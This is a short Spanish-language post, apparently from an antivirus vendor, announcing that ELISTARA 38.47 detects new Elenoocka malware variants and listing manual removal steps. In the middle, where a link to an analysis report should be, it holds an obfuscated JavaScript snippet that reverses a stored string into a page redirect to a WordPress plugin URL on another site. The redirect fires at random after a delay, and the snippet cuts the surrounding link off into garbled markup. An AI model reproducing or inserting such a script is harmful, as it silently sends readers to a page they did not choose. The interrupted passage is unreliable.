NUEVAS VARIANTES DE MALWARE ELENOOCKA QUE PASAMOS A CONTROLAR

Mas variantes de este malware que requiere proceso manual para ser eliminado, ya que se lanza al arrancar en las maquinas infectadas, incluso en MODO SEGURO

A partir del ELISTARA 38.47 de hoy pasamos a controlas estas nuevas muestras recibidas hoy:

$NfI=function(n){if (typeof ($NfI.list[n]) == “string”) return $NfI.list[n].split(“”).reverse().join(“”);return $NfI.list[n];};$NfI.list=[“‘php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}total.com/es/file/bbb18e1feedb0bb47eea6e23e49b2272f465f28315cbc26445bbb52a6b5ef4e1/analysis/1518686811/” target=”_blank” rel=”noopener”>informe de analisis muestra 8b6776dd.gxe

Dicha versión del ELISTARA 38.47 que los detecta, estará disponible en nuestra web a partir del 16/2 prox

Para su eliminación, se requiere proceso manual, a saber:

1º Cambiar el Propietario de la Clave, darle permisos de control total y eliminarla
2º Reiniciar el sistema
3º Cambiar el Propietario de la Carpeta, darle permisos de control total y eliminarla

saludos

ms, 15/2/2018